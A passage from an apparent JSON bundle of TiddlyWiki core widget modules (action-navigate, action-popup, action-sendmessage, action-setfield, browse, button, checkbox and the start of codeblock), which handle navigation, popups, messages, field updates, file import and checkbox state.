"text": "/*\\\ntitle: $:/core/modules/widgets/action-navigate.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to navigate to a tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar NavigateWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nNavigateWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nNavigateWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nNavigateWidget.prototype.execute = function() {\n\tthis.actionTo = this.getAttribute(\"$to\");\n\tthis.actionScroll = this.getAttribute(\"$scroll\");\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nNavigateWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"$to\"] || changedAttributes[\"$scroll\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nNavigateWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tevent = event || {};\n\tvar bounds = triggeringWidget && triggeringWidget.getBoundingClientRect && triggeringWidget.getBoundingClientRect(),\n\t\tsuppressNavigation = event.metaKey || event.ctrlKey || (event.button === 1);\n\tif(this.actionScroll === \"yes\") {\n\t\tsuppressNavigation = false;\n\t} else if(this.actionScroll === \"no\") {\n\t\tsuppressNavigation = true;\n\t}\n\tthis.dispatchEvent({\n\t\ttype: \"tm-navigate\",\n\t\tnavigateTo: this.actionTo === undefined ? this.getVariable(\"currentTiddler\") : this.actionTo,\n\t\tnavigateFromTitle: this.getVariable(\"storyTiddler\"),\n\t\tnavigateFromNode: triggeringWidget,\n\t\tnavigateFromClientRect: bounds && { top: bounds.top, left: bounds.left, width: bounds.width, right: bounds.right, bottom: bounds.bottom, height: bounds.height\n\t\t},\n\t\tnavigateSuppressNavigation: suppressNavigation\n\t});\n\treturn true; // Action was invoked\n};\n\nexports[\"action-navigate\"] = NavigateWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/action-popup.js": {
"title": "$:/core/modules/widgets/action-popup.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/action-popup.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to trigger a popup.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ActionPopupWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nActionPopupWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nActionPopupWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nActionPopupWidget.prototype.execute = function() {\n\tthis.actionState = this.getAttribute(\"$state\");\n\tthis.actionCoords = this.getAttribute(\"$coords\");\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nActionPopupWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"$state\"] || changedAttributes[\"$coords\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nActionPopupWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\t// Trigger the popup\n\tvar popupLocationRegExp = /^\\((-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+)\\)$/,\n\t\tmatch = popupLocationRegExp.exec(this.actionCoords);\n\tif(match) {\n\t\t$tw.popup.triggerPopup({\n\t\t\tdomNode: null,\n\t\t\tdomNodeRect: {\n\t\t\t\tleft: parseFloat(match[1]),\n\t\t\t\ttop: parseFloat(match[2]),\n\t\t\t\twidth: parseFloat(match[3]),\n\t\t\t\theight: parseFloat(match[4])\n\t\t\t},\n\t\t\ttitle: this.actionState,\n\t\t\twiki: this.wiki\n\t\t});\n\t}\n\treturn true; // Action was invoked\n};\n\nexports[\"action-popup\"] = ActionPopupWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/action-sendmessage.js": {
"title": "$:/core/modules/widgets/action-sendmessage.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/action-sendmessage.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to send a message\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar SendMessageWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nSendMessageWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nSendMessageWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nSendMessageWidget.prototype.execute = function() {\n\tthis.actionMessage = this.getAttribute(\"$message\");\n\tthis.actionParam = this.getAttribute(\"$param\");\n\tthis.actionName = this.getAttribute(\"$name\");\n\tthis.actionValue = this.getAttribute(\"$value\",\"\");\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nSendMessageWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(Object.keys(changedAttributes).length) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nSendMessageWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\t// Get the string parameter\n\tvar param = this.actionParam;\n\t// Assemble the attributes as a hashmap\n\tvar paramObject = Object.create(null);\n\tvar count = 0;\n\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\tif(name.charAt(0) !== \"$\") {\n\t\t\tparamObject[name] = attribute;\n\t\t\tcount++;\n\t\t}\n\t});\n\t// Add name/value pair if present\n\tif(this.actionName) {\n\t\tparamObject[this.actionName] = this.actionValue;\n\t}\n\t// Dispatch the message\n\tthis.dispatchEvent({\n\t\ttype: this.actionMessage,\n\t\tparam: param,\n\t\tparamObject: paramObject,\n\t\ttiddlerTitle: this.getVariable(\"currentTiddler\"),\n\t\tnavigateFromTitle: this.getVariable(\"storyTiddler\"),\n\t\tevent: event\n\t});\n\treturn true; // Action was invoked\n};\n\nexports[\"action-sendmessage\"] = SendMessageWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/action-setfield.js": {
"title": "$:/core/modules/widgets/action-setfield.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/action-setfield.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to set a single field or index on a tiddler.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar SetFieldWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nSetFieldWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nSetFieldWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nSetFieldWidget.prototype.execute = function() {\n\tthis.actionTiddler = this.getAttribute(\"$tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.actionField = this.getAttribute(\"$field\");\n\tthis.actionIndex = this.getAttribute(\"$index\");\n\tthis.actionValue = this.getAttribute(\"$value\");\n\tthis.actionTimestamp = this.getAttribute(\"$timestamp\",\"yes\") === \"yes\";\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nSetFieldWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"$tiddler\"] || changedAttributes[\"$field\"] || changedAttributes[\"$index\"] || changedAttributes[\"$value\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nSetFieldWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tvar self = this,\n\t\toptions = {};\n\toptions.suppressTimestamp = !this.actionTimestamp;\n\tif((typeof this.actionField == \"string\") || (typeof this.actionIndex == \"string\") || (typeof this.actionValue == \"string\")) {\n\t\tthis.wiki.setText(this.actionTiddler,this.actionField,this.actionIndex,this.actionValue,options);\n\t}\n\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\tif(name.charAt(0) !== \"$\") {\n\t\t\tself.wiki.setText(self.actionTiddler,name,undefined,attribute,options);\n\t\t}\n\t});\n\treturn true; // Action was invoked\n};\n\nexports[\"action-setfield\"] = SetFieldWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/browse.js": {
"title": "$:/core/modules/widgets/browse.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/browse.js\ntype: application/javascript\nmodule-type: widget\n\nBrowse widget for browsing for files to import\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar BrowseWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nBrowseWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nBrowseWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create element\n\tvar domNode = this.document.createElement(\"input\");\n\tdomNode.setAttribute(\"type\",\"file\");\n\tif(this.browseMultiple) {\n\t\tdomNode.setAttribute(\"multiple\",\"multiple\");\n\t}\n\tif(this.tooltip) {\n\t\tdomNode.setAttribute(\"title\",this.tooltip);\n\t}\n\t// Nw.js supports \"nwsaveas\" to force a \"save as\" dialogue that allows a new or existing file to be selected\n\tif(this.nwsaveas) {\n\t\tdomNode.setAttribute(\"nwsaveas\",this.nwsaveas);\n\t}\n\t// Nw.js supports \"webkitdirectory\" and \"nwdirectory\" to allow a directory to be selected\n\tif(this.webkitdirectory) {\n\t\tdomNode.setAttribute(\"webkitdirectory\",this.webkitdirectory);\n\t}\n\tif(this.nwdirectory) {\n\t\tdomNode.setAttribute(\"nwdirectory\",this.nwdirectory);\n\t}\n\t// Add a click event handler\n\tdomNode.addEventListener(\"change\",function (event) {\n\t\tif(self.message) {\n\t\t\tself.dispatchEvent({type: self.message, param: self.param, files: event.target.files});\n\t\t} else {\n\t\t\tself.wiki.readFiles(event.target.files,{\n\t\t\t\tcallback: function(tiddlerFieldsArray) {\n\t\t\t\t\tself.dispatchEvent({type: \"tm-import-tiddlers\", param: JSON.stringify(tiddlerFieldsArray)});\n\t\t\t\t},\n\t\t\t\tdeserializer: self.deserializer\n\t\t\t});\n\t\t}\n\t\treturn false;\n\t},false);\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nBrowseWidget.prototype.execute = function() {\n\tthis.browseMultiple = this.getAttribute(\"multiple\");\n\tthis.deserializer = this.getAttribute(\"deserializer\");\n\tthis.message = this.getAttribute(\"message\");\n\tthis.param = this.getAttribute(\"param\");\n\tthis.tooltip = this.getAttribute(\"tooltip\");\n\tthis.nwsaveas = this.getAttribute(\"nwsaveas\");\n\tthis.webkitdirectory = this.getAttribute(\"webkitdirectory\");\n\tthis.nwdirectory = this.getAttribute(\"nwdirectory\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nBrowseWidget.prototype.refresh = function(changedTiddlers) {\n\treturn false;\n};\n\nexports.browse = BrowseWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/button.js": {
"title": "$:/core/modules/widgets/button.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/button.js\ntype: application/javascript\nmodule-type: widget\n\nButton widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ButtonWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nButtonWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nButtonWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create element\n\tvar tag = \"button\";\n\tif(this.buttonTag && $tw.config.htmlUnsafeElements.indexOf(this.buttonTag) === -1) {\n\t\ttag = this.buttonTag;\n\t}\n\tvar domNode = this.document.createElement(tag);\n\t// Assign classes\n\tvar classes = this[\"class\"].split(\" \") || [],\n\t\tisPoppedUp = (this.popup || this.popupTitle) && this.isPoppedUp();\n\tif(this.selectedClass) {\n\t\tif((this.set || this.setTitle) && this.setTo && this.isSelected()) {\n\t\t\t$tw.utils.pushTop(classes,this.selectedClass.split(\" \"));\n\t\t}\n\t\tif(isPoppedUp) {\n\t\t\t$tw.utils.pushTop(classes,this.selectedClass.split(\" \"));\n\t\t}\n\t}\n\tif(isPoppedUp) {\n\t\t$tw.utils.pushTop(classes,\"tc-popup-handle\");\n\t}\n\tdomNode.className = classes.join(\" \");\n\t// Assign other attributes\n\tif(this.style) {\n\t\tdomNode.setAttribute(\"style\",this.style);\n\t}\n\tif(this.tooltip) {\n\t\tdomNode.setAttribute(\"title\",this.tooltip);\n\t}\n\tif(this[\"aria-label\"]) {\n\t\tdomNode.setAttribute(\"aria-label\",this[\"aria-label\"]);\n\t}\n\t// Set the tabindex\n\tif(this.tabIndex) {\n\t\tdomNode.setAttribute(\"tabindex\",this.tabIndex);\n\t}\t\n\t// Add a click event handler\n\tdomNode.addEventListener(\"click\",function (event) {\n\t\tvar handled = false;\n\t\tif(self.invokeActions(self,event)) {\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.to) {\n\t\t\tself.navigateTo(event);\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.message) {\n\t\t\tself.dispatchMessage(event);\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.popup || self.popupTitle) {\n\t\t\tself.triggerPopup(event);\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.set || self.setTitle) {\n\t\t\tself.setTiddler();\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.actions) {\n\t\t\tself.invokeActionString(self.actions,self,event);\n\t\t}\n\t\tif(handled) {\n\t\t\tevent.preventDefault();\n\t\t\tevent.stopPropagation();\n\t\t}\n\t\treturn handled;\n\t},false);\n\t// Make it draggable if required\n\tif(this.dragTiddler || this.dragFilter) {\n\t\t$tw.utils.makeDraggable({\n\t\t\tdomNode: domNode,\n\t\t\tdragTiddlerFn: function() {return self.dragTiddler;},\n\t\t\tdragFilterFn: function() {return self.dragFilter;},\n\t\t\twidget: this\n\t\t});\n\t}\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nWe don't allow actions to propagate because we trigger actions ourselves\n*/\nButtonWidget.prototype.allowActionPropagation = function() {\n\treturn false;\n};\n\nButtonWidget.prototype.getBoundingClientRect = function() {\n\treturn this.domNodes[0].getBoundingClientRect();\n};\n\nButtonWidget.prototype.isSelected = function() {\n return this.setTitle ? (this.setField ? this.wiki.getTiddler(this.setTitle).getFieldString(this.setField) === this.setTo :\n\t\t(this.setIndex ? this.wiki.extractTiddlerDataItem(this.setTitle,this.setIndex) === this.setTo :\n\t\t\tthis.wiki.getTiddlerText(this.setTitle))) || this.defaultSetValue || this.getVariable(\"currentTiddler\") :\n\t\tthis.wiki.getTextReference(this.set,this.defaultSetValue,this.getVariable(\"currentTiddler\")) === this.setTo;\n};\n\nButtonWidget.prototype.isPoppedUp = function() {\n\tvar tiddler = this.popupTitle ? this.wiki.getTiddler(this.popupTitle) : this.wiki.getTiddler(this.popup);\n\tvar result = tiddler && tiddler.fields.text ? $tw.popup.readPopupState(tiddler.fields.text) : false;\n\treturn result;\n};\n\nButtonWidget.prototype.navigateTo = function(event) {\n\tvar bounds = this.getBoundingClientRect();\n\tthis.dispatchEvent({\n\t\ttype: \"tm-navigate\",\n\t\tnavigateTo: this.to,\n\t\tnavigateFromTitle: this.getVariable(\"storyTiddler\"),\n\t\tnavigateFromNode: this,\n\t\tnavigateFromClientRect: { top: bounds.top, left: bounds.left, width: bounds.width, right: bounds.right, bottom: bounds.bottom, height: bounds.height\n\t\t},\n\t\tnavigateSuppressNavigation: event.metaKey || event.ctrlKey || (event.button === 1),\n\t\tevent: event\n\t});\n};\n\nButtonWidget.prototype.dispatchMessage = function(event) {\n\tthis.dispatchEvent({type: this.message, param: this.param, tiddlerTitle: this.getVariable(\"currentTiddler\"), event: event});\n};\n\nButtonWidget.prototype.triggerPopup = function(event) {\n\tif(this.popupTitle) {\n\t\t$tw.popup.triggerPopup({\n\t\t\tdomNode: this.domNodes[0],\n\t\t\ttitle: this.popupTitle,\n\t\t\twiki: this.wiki,\n\t\t\tnoStateReference: true\n\t\t});\n\t} else {\n\t\t$tw.popup.triggerPopup({\n\t\t\tdomNode: this.domNodes[0],\n\t\t\ttitle: this.popup,\n\t\t\twiki: this.wiki\n\t\t});\n\t}\n};\n\nButtonWidget.prototype.setTiddler = function() {\n\tif(this.setTitle) {\n\t\tthis.setField ? this.wiki.setText(this.setTitle,this.setField,undefined,this.setTo) :\n\t\t\t\t(this.setIndex ? this.wiki.setText(this.setTitle,undefined,this.setIndex,this.setTo) :\n\t\t\t\tthis.wiki.setText(this.setTitle,\"text\",undefined,this.setTo));\n\t} else {\n\t\tthis.wiki.setTextReference(this.set,this.setTo,this.getVariable(\"currentTiddler\"));\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nButtonWidget.prototype.execute = function() {\n\t// Get attributes\n\tthis.actions = this.getAttribute(\"actions\");\n\tthis.to = this.getAttribute(\"to\");\n\tthis.message = this.getAttribute(\"message\");\n\tthis.param = this.getAttribute(\"param\");\n\tthis.set = this.getAttribute(\"set\");\n\tthis.setTo = this.getAttribute(\"setTo\");\n\tthis.popup = this.getAttribute(\"popup\");\n\tthis.hover = this.getAttribute(\"hover\");\n\tthis[\"class\"] = this.getAttribute(\"class\",\"\");\n\tthis[\"aria-label\"] = this.getAttribute(\"aria-label\");\n\tthis.tooltip = this.getAttribute(\"tooltip\");\n\tthis.style = this.getAttribute(\"style\");\n\tthis.selectedClass = this.getAttribute(\"selectedClass\");\n\tthis.defaultSetValue = this.getAttribute(\"default\",\"\");\n\tthis.buttonTag = this.getAttribute(\"tag\");\n\tthis.dragTiddler = this.getAttribute(\"dragTiddler\");\n\tthis.dragFilter = this.getAttribute(\"dragFilter\");\n\tthis.setTitle = this.getAttribute(\"setTitle\");\n\tthis.setField = this.getAttribute(\"setField\");\n\tthis.setIndex = this.getAttribute(\"setIndex\");\n\tthis.popupTitle = this.getAttribute(\"popupTitle\");\n\tthis.tabIndex = this.getAttribute(\"tabindex\");\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nButtonWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.actions || changedAttributes.to || changedAttributes.message || changedAttributes.param || changedAttributes.set || changedAttributes.setTo || changedAttributes.popup || changedAttributes.hover || changedAttributes[\"class\"] || changedAttributes.selectedClass || changedAttributes.style || changedAttributes.dragFilter || changedAttributes.dragTiddler || (this.set && changedTiddlers[this.set]) || (this.popup && changedTiddlers[this.popup]) || (this.popupTitle && changedTiddlers[this.popupTitle]) || changedAttributes.setTitle || changedAttributes.setField || changedAttributes.setIndex || changedAttributes.popupTitle) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.button = ButtonWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/checkbox.js": {
"title": "$:/core/modules/widgets/checkbox.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/checkbox.js\ntype: application/javascript\nmodule-type: widget\n\nCheckbox widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar CheckboxWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nCheckboxWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nCheckboxWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Create our elements\n\tthis.labelDomNode = this.document.createElement(\"label\");\n\tthis.labelDomNode.setAttribute(\"class\",this.checkboxClass);\n\tthis.inputDomNode = this.document.createElement(\"input\");\n\tthis.inputDomNode.setAttribute(\"type\",\"checkbox\");\n\tif(this.getValue()) {\n\t\tthis.inputDomNode.setAttribute(\"checked\",\"true\");\n\t}\n\tthis.labelDomNode.appendChild(this.inputDomNode);\n\tthis.spanDomNode = this.document.createElement(\"span\");\n\tthis.labelDomNode.appendChild(this.spanDomNode);\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(this.inputDomNode,[\n\t\t{name: \"change\", handlerObject: this, handlerMethod: \"handleChangeEvent\"}\n\t]);\n\t// Insert the label into the DOM and render any children\n\tparent.insertBefore(this.labelDomNode,nextSibling);\n\tthis.renderChildren(this.spanDomNode,null);\n\tthis.domNodes.push(this.labelDomNode);\n};\n\nCheckboxWidget.prototype.getValue = function() {\n\tvar tiddler = this.wiki.getTiddler(this.checkboxTitle);\n\tif(tiddler) {\n\t\tif(this.checkboxTag) {\n\t\t\tif(this.checkboxInvertTag) {\n\t\t\t\treturn !tiddler.hasTag(this.checkboxTag);\n\t\t\t} else {\n\t\t\t\treturn tiddler.hasTag(this.checkboxTag);\n\t\t\t}\n\t\t}\n\t\tif(this.checkboxField) {\n\t\t\tvar value;\n\t\t\tif($tw.utils.hop(tiddler.fields,this.checkboxField)) {\n\t\t\t\tvalue = tiddler.fields[this.checkboxField] || \"\";\n\t\t\t} else {\n\t\t\t\tvalue = this.checkboxDefault || \"\";\n\t\t\t}\n\t\t\tif(value === this.checkboxChecked) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(value === this.checkboxUnchecked) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tif(this.checkboxIndex) {\n\t\t\tvar value = this.wiki.extractTiddlerDataItem(tiddler,this.checkboxIndex,this.checkboxDefault || \"\");\n\t\t\tif(value === this.checkboxChecked) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(value === this.checkboxUnchecked) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif(this.checkboxTag) {\n\t\t\treturn false;\n\t\t}\n\t\tif(this.checkboxField) {\n\t\t\tif(this.checkboxDefault === this.checkboxChecked) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif(this.checkboxDefault === this.checkboxUnchecked) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n};\n\nCheckboxWidget.prototype.handleChangeEvent = function(event) {\n\tvar checked = this.inputDomNode.checked,\n\t\ttiddler = this.wiki.getTiddler(this.checkboxTitle),\n\t\tfallbackFields = {text: \"\"},\n\t\tnewFields = {title: this.checkboxTitle},\n\t\thasChanged = false,\n\t\ttagCheck = false,\n\t\thasTag = tiddler && tiddler.hasTag(this.checkboxTag),\n\t\tvalue = checked ? this.checkboxChecked : this.checkboxUnchecked;\n\tif(this.checkboxTag && this.checkboxInvertTag === \"yes\") {\n\t\ttagCheck = hasTag === checked;\n\t} else {\n\t\ttagCheck = hasTag !== checked;\n\t}\n\t// Set the tag if specified\n\tif(this.checkboxTag && (!tiddler || tagCheck)) {\n\t\tnewFields.tags = tiddler ? (tiddler.fields.tags || []).slice(0) : [];\n\t\tvar pos = newFields.tags.indexOf(this.checkboxTag);\n\t\tif(pos !== -1) {\n\t\t\tnewFields.tags.splice(pos,1);\n\t\t}\n\t\tif(this.checkboxInvertTag === \"yes\" && !checked) {\n\t\t\tnewFields.tags.push(this.checkboxTag);\n\t\t} else if(this.checkboxInvertTag !== \"yes\" && checked) {\n\t\t\tnewFields.tags.push(this.checkboxTag);\n\t\t}\n\t\thasChanged = true;\n\t}\n\t// Set the field if specified\n\tif(this.checkboxField) {\n\t\tif(!tiddler || tiddler.fields[this.checkboxField] !== value) {\n\t\t\tnewFields[this.checkboxField] = value;\n\t\t\thasChanged = true;\n\t\t}\n\t}\n\t// Set the index if specified\n\tif(this.checkboxIndex) {\n\t\tvar indexValue = this.wiki.extractTiddlerDataItem(this.checkboxTitle,this.checkboxIndex);\n\t\tif(!tiddler || indexValue !== value) {\n\t\t\thasChanged = true;\n\t\t}\n\t}\n\tif(hasChanged) {\n\t\tif(this.checkboxIndex) {\n\t\t\tthis.wiki.setText(this.checkboxTitle,\"\",this.checkboxIndex,value);\n\t\t} else {\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(this.wiki.getCreationFields(),fallbackFields,tiddler,newFields,this.wiki.getModificationFields()));\n\t\t}\n\t}\n\t// Trigger actions\n\tif(this.checkboxActions) {\n\t\tthis.invokeActionString(this.checkboxActions,this,event);\n\t}\n\tif(this.checkboxCheckActions && checked) {\n\t\tthis.invokeActionString(this.checkboxCheckActions,this,event);\n\t}\n\tif(this.checkboxUncheckActions && !checked) {\n\t\tthis.invokeActionString(this.checkboxUncheckActions,this,event);\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nCheckboxWidget.prototype.execute = function() {\n\t// Get the parameters from the attributes\n\tthis.checkboxActions = this.getAttribute(\"actions\");\n\tthis.checkboxCheckActions = this.getAttribute(\"checkactions\");\n\tthis.checkboxUncheckActions = this.getAttribute(\"uncheckactions\");\n\tthis.checkboxTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.checkboxTag = this.getAttribute(\"tag\");\n\tthis.checkboxField = this.getAttribute(\"field\");\n\tthis.checkboxIndex = this.getAttribute(\"index\");\n\tthis.checkboxChecked = this.getAttribute(\"checked\");\n\tthis.checkboxUnchecked = this.getAttribute(\"unchecked\");\n\tthis.checkboxDefault = this.getAttribute(\"default\");\n\tthis.checkboxClass = this.getAttribute(\"class\",\"\");\n\tthis.checkboxInvertTag = this.getAttribute(\"invertTag\",\"\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nCheckboxWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.tag || changedAttributes.invertTag || changedAttributes.field || changedAttributes.index || changedAttributes.checked || changedAttributes.unchecked || changedAttributes[\"default\"] || changedAttributes[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\tvar refreshed = false;\n\t\tif(changedTiddlers[this.checkboxTitle]) {\n\t\t\tthis.inputDomNode.checked = this.getValue();\n\t\t\trefreshed = true;\n\t\t}\n\t\treturn this.refreshChildren(changedTiddlers) || refreshed;\n\t}\n};\n\nexports.checkbox = CheckboxWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/codeblock.js": {
"title": "$:/core/modules/widgets/codeblock.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/codeblock.js\ntype: application/javascript\nmodule-type: widget\n\nCode block node widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar CodeBlockWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nCodeBlockWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nCodeBlockWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar codeNode = this.document.createElement(\"code\"),\n\t\tdomNode = this.document.createElement(\"pre\");\n\tcodeNode.appendChild(this.document.createTextNode(this.getAttribute(\"code\")));\n\tdomNode.appendChild(codeNode);\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.domNodes.push(domNode);\n\tif(this.postRender) {\n\t\tthis.postRender();\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nCodeBlockWidget.prototype.execute = function() {\n\tthis.language = 